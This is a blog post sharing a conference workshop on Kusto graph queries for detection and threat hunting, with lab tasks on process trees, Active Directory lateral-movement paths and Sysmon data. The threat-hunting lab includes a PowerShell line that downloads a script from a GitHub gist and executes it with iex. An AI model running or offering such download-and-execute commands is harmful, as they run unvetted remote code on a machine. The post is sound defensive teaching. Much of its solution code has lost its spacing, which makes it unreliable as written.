Ho, ho, ho… In Germany on the 6th of December we celebrate “Nikolaus”. Kids put out one shoe the night before in the hopes that, in the morning, it is filled with nuts, mandarin oranges, chocolate or even small gifts. Lucky for you, it seems that you also put out your shoe last night, because I have a gift for you as well. But please don’t confuse me with Nikolaus ;)
At this years DEATHCon I was fortuned enough to present my workshop about Kusto Graph (Kraph) semantics and now I want to share it with everybody. Let me know on social media if you liked it and if you feel generous you can buy me Glühwein 🔥🍷 .
Lab environment
You definitely should setup a small lab environment to play around and solve the exercises.
The video embedded here is provided by the provider "YouTube LLC", 901 Cherry Avenue, San Bruno, CA 94066, USA, represented by Google Inc, 1600 Amphitheatre Parkway, Mountain View, CA 94043, USA.
When you click on "Load video" below, your IP address is transmitted to YouTube and YouTube learns that you have viewed the video. If you are logged in to YouTube, this information is also assigned to your user account.
Of the then potential data collection and use of your data by YouTube, I have no knowledge and no influence on it.
letEntities=datatable(name:string,type:string)["Alice","Person","Bob","Person","Eve","Person","Mallory","Person","Apollo","System"];letActions=datatable(source:string,destination:string,action_type:string)["Alice","Bob","communicatesWith","Alice","Apollo","trusts","Bob","Apollo","hasPermission","Eve","Alice","attacks","Mallory","Alice","attacks","Mallory","Bob","attacks"];Actions|make-graphsource--> destination with Entities on name
|graph-match//ToDowhere//ToDoprojectAttacker=attacker.name,Compromised=compromised.name,System=apollo.name
Build process graphs
Preparations
Make sure Sysmon data from your machine is sent to Sentinel
Run cmd.exe
Run powershell.exe within the cmd.exe process
Run whoami.exe within the powershell.exe process
Repeat step 3. + 4. a few times
Task:
Create a detection that find all executions of whoami.exe and output the initiating cmd Process Id
Constraint: Use a maximum edge length of 10
Kraphhound - Lateral movement in Active Directory
The queries here are based on static data to familiarizes yourself with the semantics.
Find all lateral movement path from a compromised user to a sensitive user
Find the shortest lateral movement path from a compromised user to a sensitive user
Find the longest lateral movement path from a compromised user to a sensitive user
Find only path were the user has an active session all the way
ActiveDirectoryEdges|make-graphSourceNodeId--> DestinationNodeId with ActiveDirectoryNodes on NodeId
|graph-match
For a in-depth blog post about this read more here. But don’t spoil your own challenge.
Threat hunting
Preparations:
Open Edge / Chrome / Firefox on your virtual machine (must send Sysmon data to Sentinel)
Copy the following “payload”
powershell.exe-NoExit"(iwr 'https://gist.githubusercontent.com/f-bader/ddbf7c713637e71edc2d155c6a3db675/raw/1994a7db9156ea8ba1e814cdc4ccedbb891e0eb6/sample.ps1').Content | iex; # Hope you are having lots of fun ✅"
Skip if YOLO: After checking the link and verifying the contents of what you just copied:
//Solution://Createagraphquerythathasapathfromtheattackernodetoacompromisednodetotheappollonode//Filterthenode"apollo"byname//Filtertheedgefromthecompromisedaccounttoapollotoonlyinclude"hasPermission"//Filtertheedgefromtheattackertothecompromisedaccounttoonlyinclude"attacks"//Source:https://learn.microsoft.com/en-us/kusto/query/graph-match-operator?view=azure-data-explorer&preserve-view=true#attack-path//Remark:ModifiedexampleletEntities=datatable(name:string,type:string)["Alice","Person","Bob","Person","Eve","Person","Mallory","Person","Apollo","System"];letActions=datatable(source:string,destination:string,action_type:string)["Alice","Bob","communicatesWith","Alice","Apollo","trusts","Bob","Apollo","hasPermission","Eve","Alice","attacks","Mallory","Alice","attacks","Mallory","Bob","attacks"];Actions|make-graphsource--> destination with Entities on name
|graph-match(attacker)-[attacks]->(compromised)-[hasPermission]->(apollo)whereapollo.name=="Apollo"andattacks.action_type=="attacks"andhasPermission.action_type=="hasPermission"projectAttacker=attacker.name,Compromised=compromised.name,System=apollo.name
Build process graphs
letProcessEdges=Sysmon//ProcessCreate|whereEventID==1|summarizebyComputer,ProcessId,ProcessGuid,ParentProcessId,ParentProcessGuid,CommandLine,Image,ParentImage|extendSourceNodeId=hash_many(tolower(Computer),ParentProcessGuid)|extendDestinationNodeId=hash_many(tolower(Computer),ProcessGuid);letProcessNodes=Sysmon//ProcessCreate|whereEventID==1|summarizearg_max(TimeGenerated,*)byComputer,ProcessId,ProcessGuid,CommandLine,Image|extendNodeId=hash_many(tolower(Computer),ProcessGuid);ProcessEdges|make-graphSourceNodeId--> DestinationNodeId with ProcessNodes on NodeId
|graph-match(cmd)-[ProcessPath*1..10]->(whoami)wherecmd.Imagehas"cmd.exe"andwhoami.Imagehas"whoami.exe"projectInitialProcess=cmd.Image,Path=ProcessPath.Image,FinalProcess=whoami.CommandLine,InitialProcessParent=cmd.ParentImage
Kraphhound - Lateral movement in Active Directory
ActiveDirectoryEdges|make-graphSourceNodeId--> DestinationNodeId with ActiveDirectoryNodes on NodeId
|graph-match(Account)-[HasPathTo*1..10]->(Administrator)whereHasPathTo.EdgeTypein("HadSession","AdminTo")//task4//Forsomereason==truedoesnotworkatthispointand==1hastobeused//where((HasPathTo.EdgeType=="HadSession"andHasPathTo.ActiveSession==1)orHasPathTo.EdgeType=="AdminTo")andAdministrator.Tagshas"Sensitive"andAccount.Tagshas"Compromised"projectUser=Account.AccountName,Path=todynamic(HasPathTo.EdgeDisplayName),PathEdges=HasPathTo.EdgeType,DomainAdmin=Administrator.AccountName,IsActive=HasPathTo.ActiveSession//Thishelpswithtask2+3|extendPathLength=array_length(Path)|summarizebyUser,tostring(Path),tostring(PathEdges),tostring(IsActive),DomainAdmin,PathLength
Threat hunting
The example result of the threat hunting query
# Sorry, but "Knecht Ruprecht" has lost the answer for this one.# But here are more hints to steer you in the right direction:# * What happens after you start the first PowerShell?# * Look at Sysmon EventID 3# * One node can have multiple edges of different kind, separate them by comma (it's in the video)
Happy Nikolaus
Created with Bing - And yes, Knecht Ruprecht is a thing in Germany...even if this might be a slight exaggeration